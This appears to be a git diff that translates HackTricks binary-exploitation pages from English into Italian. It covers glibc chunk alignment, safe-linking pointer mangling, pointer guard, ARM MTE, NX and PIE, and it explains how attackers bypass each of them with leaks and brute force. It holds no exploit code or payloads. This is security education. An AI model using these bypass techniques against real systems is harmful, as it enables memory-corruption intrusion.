memorizzata nello shadow stack al ritorno da una funzione. Se gli indirizzi non corrispondono, il programma può terminare o adottare altre misure di sicurezza, impedendo il successo dell'attacco. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..132f2e7a9 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -1,82 +1,82 @@ -# Libc Protections +# Protezioni Libc {{#include ../../banners/hacktricks-training.md}} -## Chunk Alignment Enforcement +## Applicazione dell'Allineamento dei Chunk -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc** alloca memoria in **raggruppamenti di 8 byte (32 bit) o 16 byte (64 bit)**. Ciò significa che la fine dei chunk nei sistemi a 32 bit dovrebbe allinearsi con **0x8**, e nei sistemi a 64 bit con **0x0**. La funzionalità di sicurezza verifica che ogni chunk **sia allineato correttamente** in queste posizioni specifiche prima di utilizzare un puntatore da un bin. -### Security Benefits +### Vantaggi di Sicurezza -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +L'applicazione dell'allineamento dei chunk nei sistemi a 64 bit migliora significativamente la sicurezza di Malloc **limitando il posizionamento di chunk falsi a solo 1 su ogni 16 indirizzi**. Questo complica gli sforzi di sfruttamento, specialmente in scenari in cui l'utente ha un controllo limitato sui valori di input, rendendo gli attacchi più complessi e difficili da eseguire con successo. -- **Fastbin Attack on \_\_malloc_hook** +- **Attacco Fastbin su \_\_malloc_hook** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +Le nuove regole di allineamento in Malloc ostacolano anche un attacco classico che coinvolge il `__malloc_hook`. In precedenza, gli attaccanti potevano manipolare le dimensioni dei chunk per **sovrascrivere questo puntatore di funzione** e ottenere **esecuzione di codice**. Ora, il rigoroso requisito di allineamento assicura che tali manipolazioni non siano più praticabili, chiudendo una comune via di sfruttamento e migliorando la sicurezza complessiva. -## Pointer Mangling on fastbins and tcache +## Manipolazione dei Puntatori su fastbins e tcache -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**Manipolazione dei Puntatori** è un miglioramento della sicurezza utilizzato per proteggere i **puntatori Fd di fastbin e tcache** nelle operazioni di gestione della memoria. Questa tecnica aiuta a prevenire determinati tipi di tattiche di sfruttamento della memoria, specificamente quelle che non richiedono informazioni di memoria trapelate o che manipolano direttamente le posizioni di memoria relative a posizioni note (sovrascritture **relative**). -The core of this technique is an obfuscation formula: +Il nucleo di questa tecnica è una formula di offuscamento: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L** è la **Posizione di Memorizzazione** del puntatore. +- **P** è il reale **Puntatore Fd di fastbin/tcache**. -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +Il motivo per cui il posizionamento della memoria (L) viene spostato a destra di 12 bit prima dell'operazione XOR è critico. Questa manipolazione affronta una vulnerabilità intrinseca nella natura deterministica dei 12 bit meno significativi degli indirizzi di memoria, che sono tipicamente prevedibili a causa delle limitazioni dell'architettura di sistema. Spostando i bit, la porzione prevedibile viene rimossa dall'equazione, aumentando la casualità del nuovo puntatore manipolato e quindi proteggendo contro gli sfruttamenti che si basano sulla prevedibilità di questi bit. -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +Questo puntatore manipolato sfrutta la casualità esistente fornita dalla **Randomizzazione del Layout dello Spazio degli Indirizzi (ASLR)**, che randomizza gli indirizzi utilizzati dai programmi per rendere difficile per gli attaccanti prevedere il layout di memoria di un processo. -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +**Demoltiplicare** il puntatore per recuperare l'indirizzo originale implica utilizzare la stessa operazione XOR. Qui, il puntatore manipolato è trattato come P nella formula, e quando viene XORato con la posizione di memorizzazione invariata (L), rivela il puntatore originale. Questa simmetria nella manipolazione e demanipolazione assicura che il sistema possa codificare e decodificare i puntatori in modo efficiente senza un sovraccarico significativo, aumentando sostanzialmente la sicurezza contro attacchi che manipolano i puntatori di memoria. -### Security Benefits +### Vantaggi di Sicurezza -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +La manipolazione dei puntatori mira a **prevenire sovrascritture parziali e complete dei puntatori nella heap**, un significativo miglioramento della sicurezza. Questa funzionalità impatta le tecniche di sfruttamento in diversi modi: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **Prevenzione delle Sovrascritture Relative Byte per Byte**: In precedenza, gli attaccanti potevano cambiare parte di un puntatore per **reindirizzare i chunk della heap a diverse posizioni senza conoscere indirizzi esatti**, una tecnica evidente nello sfruttamento senza leak **House of Roman**. Con la manipolazione dei puntatori, tali sovrascritture relative **senza un leak della heap ora richiedono brute forcing**, riducendo drasticamente la loro probabilità di successo. +2. **Aumento della Difficoltà degli Attacchi Tcache Bin/Fastbin**: Gli attacchi comuni che sovrascrivono puntatori di funzione (come `__malloc_hook`) manipolando le voci di fastbin o tcache sono ostacolati. Ad esempio, un attacco potrebbe comportare il leak di un indirizzo LibC, liberando un chunk nel bin tcache, e poi sovrascrivendo il puntatore Fd per reindirizzarlo a `__malloc_hook` per l'esecuzione di codice arbitrario. Con la manipolazione dei puntatori, questi puntatori devono essere correttamente manipolati, **richiedendo un leak della heap per una manipolazione accurata**, elevando così la barriera di sfruttamento. +3. **Requisito di Leak della Heap in Posizioni Non Heap**: Creare un chunk falso in aree non heap (come lo stack, la sezione .bss, o PLT/GOT) ora richiede anche **un leak della heap** a causa della necessità di manipolazione dei puntatori. Questo estende la complessità di sfruttare queste aree, simile al requisito per manipolare indirizzi LibC. +4. **Il Leak degli Indirizzi della Heap Diventa Più Difficile**: La manipolazione dei puntatori limita l'utilità dei puntatori Fd nei bin fastbin e tcache come fonti per leak di indirizzi della heap. Tuttavia, i puntatori in bin non ordinati, piccoli e grandi rimangono non manipolati, quindi ancora utilizzabili per leak di indirizzi. Questo cambiamento spinge gli attaccanti a esplorare questi bin per informazioni sfruttabili, sebbene alcune tecniche possano ancora consentire di demanipolare i puntatori prima di un leak, sebbene con vincoli. -### **Demangling Pointers with a Heap Leak** +### **Demoltiplicazione dei Puntatori con un Leak della Heap** > [!CAUTION] -> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). +> Per una spiegazione migliore del processo [**controlla il post originale da qui**](https://maxwelldulin.com/BlogPost?post=5445977088). -### Algorithm Overview +### Panoramica dell'Algoritmo -The formula used for mangling and demangling pointers is: +La formula utilizzata per la manipolazione e demanipolazione dei puntatori è: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +Dove **L** è la posizione di memorizzazione e **P** è il puntatore Fd. Quando **L** viene spostato a destra di 12 bit, espone i bit più significativi di **P**, a causa della natura dell'**XOR**, che restituisce 0 quando i bit vengono XORati con se stessi. -**Key Steps in the Algorithm:** +**Passaggi Chiave nell'Algoritmo:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **Leak Iniziale dei Bit Più Significativi**: XORando il **L** spostato con **P**, si ottiene effettivamente i 12 bit superiori di **P** perché la porzione spostata di **L** sarà zero, lasciando i bit corrispondenti di **P** invariati. +2. **Recupero dei Bit del Puntatore**: Poiché l'XOR è reversibile, conoscere il risultato e uno degli operandi consente di calcolare l'altro operando. Questa proprietà viene utilizzata per dedurre l'intero insieme di bit per **P** XORando successivamente insiemi noti di bit con parti del puntatore manipolato. +3. **Demanipolazione Iterativa**: Il processo viene ripetuto, ogni volta utilizzando i nuovi bit scoperti di **P** dal passaggio precedente per decodificare il segmento successivo del puntatore manipolato, fino a quando tutti i bit non sono recuperati. +4. **Gestione dei Bit Deterministici**: Gli ultimi 12 bit di **L** vengono persi a causa dello spostamento, ma sono deterministici e possono essere ricostruiti dopo il processo. -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +Puoi trovare un'implementazione di questo algoritmo qui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) -## Pointer Guard +## Protezione dei Puntatori -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. +La protezione dei puntatori è una tecnica di mitigazione degli exploit utilizzata in glibc per proteggere i puntatori di funzione memorizzati, in particolare quelli registrati da chiamate di libreria come `atexit()`. Questa protezione comporta la scrambatura dei puntatori XORandoli con un segreto memorizzato nei dati del thread (`fs:0x30`) e applicando una rotazione bitwise. Questo meccanismo mira a prevenire che gli attaccanti dirottino il flusso di controllo sovrascrivendo i puntatori di funzione. -### **Bypassing Pointer Guard with a leak** +### **Superamento della Protezione dei Puntatori con un leak** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **Comprendere le Operazioni della Protezione dei Puntatori:** La scrambatura (manipolazione) dei puntatori viene effettuata utilizzando il macro `PTR_MANGLE` che XORa il puntatore con un segreto a 64 bit e poi esegue una rotazione a sinistra di 0x11 bit. L'operazione inversa per recuperare il puntatore originale è gestita da `PTR_DEMANGLE`. +2. **Strategia di Attacco:** L'attacco si basa su un approccio a testo in chiaro noto, in cui l'attaccante deve conoscere sia la versione originale che quella manipolata di un puntatore per dedurre il segreto utilizzato per la manipolazione. +3. **Sfruttare i Testi in Chiaro Noti:** +- **Identificazione di Puntatori di Funzione Fissi:** Esaminando il codice sorgente di glibc o le tabelle di puntatori di funzione inizializzate (come `__libc_pthread_functions`), un attaccante può trovare puntatori di funzione prevedibili. +- **Calcolo del Segreto:** Utilizzando un puntatore di funzione noto come `__pthread_attr_destroy` e la sua versione manipolata dalla tabella dei puntatori di funzione, il segreto può essere calcolato ruotando all'indietro (rotazione a destra) il puntatore manipolato e poi XORandolo con l'indirizzo della funzione. +4. **Testi in Chiaro Alternativi:** L'attaccante può anche sperimentare con la manipolazione dei puntatori con valori noti come 0 o -1 per vedere se questi producono schemi identificabili in memoria, rivelando potenzialmente il segreto quando questi schemi vengono trovati nei dump di memoria. +5. **Applicazione Pratica:** Dopo aver calcolato il segreto, un attaccante può manipolare i puntatori in modo controllato, bypassando essenzialmente la protezione della Protezione dei Puntatori in un'applicazione multithread con conoscenza dell'indirizzo base di libc e la capacità di leggere posizioni di memoria arbitrarie. -## References +## Riferimenti - [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) - [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..0d33a38ed 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -2,82 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**Memory Tagging Extension (MTE)** è progettato per migliorare l'affidabilità e la sicurezza del software **rilevando e prevenendo errori legati alla memoria**, come buffer overflow e vulnerabilità use-after-free. MTE, come parte dell'architettura **ARM**, fornisce un meccanismo per allegare un **piccolo tag a ciascuna allocazione di memoria** e un **tag corrispondente a ciascun puntatore** che fa riferimento a quella memoria. Questo approccio consente di rilevare accessi illegali alla memoria durante l'esecuzione, riducendo significativamente il rischio di sfruttare tali vulnerabilità per eseguire codice arbitrario. -### **How Memory Tagging Extension Works** +### **Come Funziona la Memory Tagging Extension** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTE opera **dividendo la memoria in piccoli blocchi di dimensioni fisse, a ciascun blocco viene assegnato un tag,** tipicamente di pochi bit. -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +Quando viene creato un puntatore per puntare a quella memoria, riceve lo stesso tag. Questo tag è memorizzato nei **bit non utilizzati di un puntatore di memoria**, collegando efficacemente il puntatore al suo corrispondente blocco di memoria.

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** +Quando un programma accede alla memoria tramite un puntatore, l'hardware MTE verifica che il **tag del puntatore corrisponda al tag del blocco di memoria**. Se i tag **non corrispondono**, indica un **accesso illegale alla memoria.** -### MTE Pointer Tags +### Tag dei Puntatori MTE -Tags inside a pointer are stored in 4 bits inside the top byte: +I tag all'interno di un puntatore sono memorizzati in 4 bit all'interno del byte superiore:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Therefore, this allows up to **16 different tag values**. +Pertanto, questo consente fino a **16 valori di tag diversi**. -### MTE Memory Tags +### Tag di Memoria MTE -Every **16B of physical memory** have a corresponding **memory tag**. +Ogni **16B di memoria fisica** ha un corrispondente **tag di memoria**. -The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. - -ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory: +I tag di memoria sono memorizzati in una **regione RAM dedicata** (non accessibile per uso normale). Avere tag di 4 bit per ogni 16B di tag di memoria fino al 3% della RAM. +ARM introduce le seguenti istruzioni per manipolare questi tag nella memoria RAM dedicata: ``` STG [], # Store Allocation (memory) Tag LDG , [] Load Allocatoin (memory) Tag IRG , Insert Random [pointer] Tag ... ``` - -## Checking Modes +## Controllo delle modalità ### Sync -The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ -This is the slowest and most secure. +La CPU controlla i tag **durante l'esecuzione dell'istruzione**, se c'è una discrepanza, solleva un'eccezione.\ +Questo è il più lento e il più sicuro. ### Async -The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. +La CPU controlla i tag **in modo asincrono**, e quando viene trovata una discrepanza imposta un bit di eccezione in uno dei registri di sistema. È **più veloce** rispetto al precedente ma è **incapace di indicare** l'istruzione esatta che causa la discrepanza e non solleva immediatamente l'eccezione, dando un po' di tempo all'attaccante per completare il suo attacco. ### Mixed ??? -## Implementation & Detection Examples +## Esempi di implementazione e rilevamento -Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ -The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. +Chiamato Hardware Tag-Based KASAN, MTE-based KASAN o in-kernel MTE.\ +Gli allocatori del kernel (come `kmalloc`) **chiameranno questo modulo** che preparerà il tag da utilizzare (in modo casuale) per attaccarlo allo spazio del kernel allocato e al puntatore restituito. -Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. +Nota che **contrassegnerà solo granuli di memoria sufficienti** (16B ciascuno) per la dimensione richiesta. Quindi, se la dimensione richiesta era 35 e un blocco di 60B è stato fornito, contrassegnerà i primi 16\*3 = 48B con questo tag e il **resto** sarà **contrassegnato** con un cosiddetto **tag non valido (0xE)**. -The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. +Il tag **0xF** è il **puntatore che corrisponde a tutti**. Una memoria con questo puntatore consente **di utilizzare qualsiasi tag** per accedere alla sua memoria (nessuna discrepanza). Questo potrebbe impedire a MET di rilevare un attacco se questo tag viene utilizzato nella memoria attaccata. -Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. +Pertanto ci sono solo **14 valori** che possono essere utilizzati per generare tag poiché 0xE e 0xF sono riservati, dando una probabilità di **riutilizzo dei tag** di 1/17 -> circa **7%**. -If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% +Se il kernel accede al **granulo di tag non valido**, la **discrepanza** sarà **rilevata**. Se accede a un'altra posizione di memoria, se la **memoria ha un tag diverso** (o il tag non valido) la discrepanza sarà **rilevata**. Se l'attaccante è fortunato e la memoria utilizza lo stesso tag, non sarà rilevata. Le probabilità sono circa 7%. -Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. +Un altro bug si verifica nell'**ultimo granulo** della memoria allocata. Se l'applicazione ha richiesto 35B, le è stato dato il granulo da 32 a 48. Pertanto, i **byte da 36 a 47 utilizzano lo stesso tag** ma non sono stati richiesti. Se l'attaccante accede a **questi byte extra, questo non viene rilevato**. -When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. +Quando viene eseguito **`kfree()`**, la memoria viene contrassegnata di nuovo con il tag di memoria non valido, quindi in un **use-after-free**, quando la memoria viene accessibile di nuovo, la **discrepanza viene rilevata**. -However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). +Tuttavia, in un use-after-free, se lo stesso **chunk viene riallocato di nuovo con lo STESSO tag** di prima, un attaccante sarà in grado di utilizzare questo accesso e questo non sarà rilevato (circa 7% di probabilità). -Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). +Inoltre, solo **`slab` e `page_alloc`** utilizzano memoria contrassegnata ma in futuro questo sarà utilizzato anche in `vmalloc`, `stack` e `globals` (al momento del video questi possono ancora essere abusati). -When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). +Quando una **discrepanza viene rilevata**, il kernel **panic** per prevenire ulteriori sfruttamenti e tentativi di sfruttamento (MTE non ha falsi positivi). -## References +## Riferimenti - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 376dfe6c4..56ab68003 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. +Il bit **No-Execute (NX)**, noto anche come **Execute Disable (XD)** nella terminologia Intel, è una funzione di sicurezza basata sull'hardware progettata per **mitigare** gli effetti degli attacchi di **buffer overflow**. Quando implementato e abilitato, distingue tra le regioni di memoria destinate a **codice eseguibile** e quelle destinate a **dati**, come lo **stack** e l'**heap**. L'idea principale è quella di impedire a un attaccante di eseguire codice malevolo attraverso vulnerabilità di buffer overflow mettendo il codice malevolo nello stack, ad esempio, e dirigendo il flusso di esecuzione verso di esso. -## Bypasses +## Bypass -- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - - **Ret2...** +- È possibile utilizzare tecniche come [**ROP**](../rop-return-oriented-programing/) **per bypassare** questa protezione eseguendo porzioni di codice eseguibile già presenti nel binario. +- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) +- **Ret2...** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 99a33743d..e18fec16f 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -2,30 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. +Un binario compilato come PIE, o **Position Independent Executable**, significa che il **programma può essere caricato in diverse posizioni di memoria** ogni volta che viene eseguito, prevenendo indirizzi hardcoded. -The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. +Il trucco per sfruttare questi binari consiste nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come gli attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**. -A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ -Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. +Un suggerimento utile per sfruttare i binari PIE è che il loro **indirizzo base di solito termina in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se l'indirizzo base corretto è stato identificato.\ +Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a **`0x649e1024`** sai che l'**indirizzo base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni. -## Bypasses +## Bypass -In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: +Per bypassare PIE è necessario **leakare un indirizzo del binario caricato**, ci sono alcune opzioni per questo: -- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. -- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: +- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE è sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto. +- Essere **forniti** del leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) +- **Brute-force dei valori EBP ed EIP** nello stack fino a quando non leak i valori corretti: {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- Utilizzare una vulnerabilità di **lettura arbitraria** come [**format string**](../../format-strings/) per leakare un indirizzo del binario (ad es. dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). -## References +## Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md index 996facccb..dc6400dc4 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md @@ -1,56 +1,55 @@ -# BF Addresses in the Stack +# BF Indirizzi nello Stack {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically 